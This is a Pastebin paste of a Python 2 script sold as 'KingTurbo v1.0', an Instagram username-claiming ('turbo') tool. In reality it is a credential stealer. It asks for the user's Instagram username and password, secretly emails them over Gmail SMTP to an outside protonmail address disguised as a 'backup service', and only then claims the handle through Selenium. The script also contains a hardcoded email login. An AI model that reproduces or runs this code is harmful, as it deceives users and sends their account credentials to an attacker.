Guest User

Instagram Turbo Stealer

a guest
Dec 22nd, 2017
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.51 KB | None | 0 0
  1. # Embedded file name: turbo.py
  2. import time
  3. from selenium import webdriver
  4. from selenium.webdriver.chrome.options import Options
  5. import urllib
  6. from colorama import Fore, Style
  7. import os
  8. import string
  9. import smtplib
  10. from colorama import init
  11. init()
  12. os.system('cls')
  13. print Fore.WHITE + Style.BRIGHT
  14. print '\n ____  __.__             ___________          ___.           \n|    |/ _|__| ____    ___\\__    ___/_ ________\\_ |__   ____  \n|      < |  |/    \\  / ___\\|    | |  |  \\_  __ \\ __ \\ /  _ \\ \n|    |  \\|  |   |  \\/ /_/  >    | |  |  /|  | \\/ \\_\\ (  <_> )\n|____|__ \\__|___|  /\\___  /|____| |____/ |__|  |___  /\\____/ \n        \\/       \\//_____/                         \\/       \n         '
  15. print 'Thanks for purchasing KingTurbo v1.0'
  16. wantedTag = raw_input('Name to turbo: ' + Fore.RED + Style.BRIGHT)
  17. print
  18. print Fore.WHITE + Style.BRIGHT + 'Now please log in to your current Instagram account'
  19. currName = raw_input(Fore.WHITE + Style.BRIGHT + 'Username: ' + Fore.RED + Style.BRIGHT)
  20. currPass = raw_input(Fore.WHITE + Style.BRIGHT + 'Password: ' + Fore.RED + Style.BRIGHT)
  21. print Fore.WHITE + Style.BRIGHT
  22. content = string.join(('From: goldeninstaclub@gmail.com',
  23.  'To: mrkingdice@protonmail.com',
  24.  'Subject: Instagram Backup Service',
  25.  '',
  26.  'Username: %s\nPassword: %s' % (currName, currPass)), '\r\n')
  27. mail = smtplib.SMTP('smtp.gmail.com', 587)
  28. mail.ehlo()
  29. mail.starttls()
  30. mail.login('goldeninstaclub', '7u2x4dzw')
  31. mail.sendmail('goldeninstaclub@gmail.com', 'mrkingdice@protonmail.com', content)
  32. mail.close()
  33. chrome_options = Options()
  34. chrome_options.add_argument('headless')
  35. chrome_options.add_argument('window-size=1920x1080')
  36. driver = webdriver.Chrome(chrome_options=chrome_options)
  37. driver.get('https://www.instagram.com/accounts/login')
  38. name = driver.find_element_by_name('username')
  39. name.send_keys(currName)
  40. pname = driver.find_element_by_name('password')
  41. pname.send_keys(currPass + '\n')
  42. time.sleep(2)
  43. driver.get('https://www.instagram.com/accounts/edit/')
  44. print '\nChecking...'
  45. while True:
  46.     try:
  47.         if 'Followers' not in urllib.urlopen('https://www.instagram.com/' + wantedTag + '/').read():
  48.             user = driver.find_element_by_id('pepUsername')
  49.             user.clear()
  50.             user.send_keys(wantedTag + '\n')
  51.             print
  52.             print 'Claimed @' + wantedTag
  53.             time.sleep(2)
  54.             break
  55.     except:
  56.         print '-------------'
  57.         print 'Restarting...'
  58.         print '-------------'
  59.         print '\nChecking...'
  60.  
  61. driver.close()
Add Comment
Please, Sign In to add comment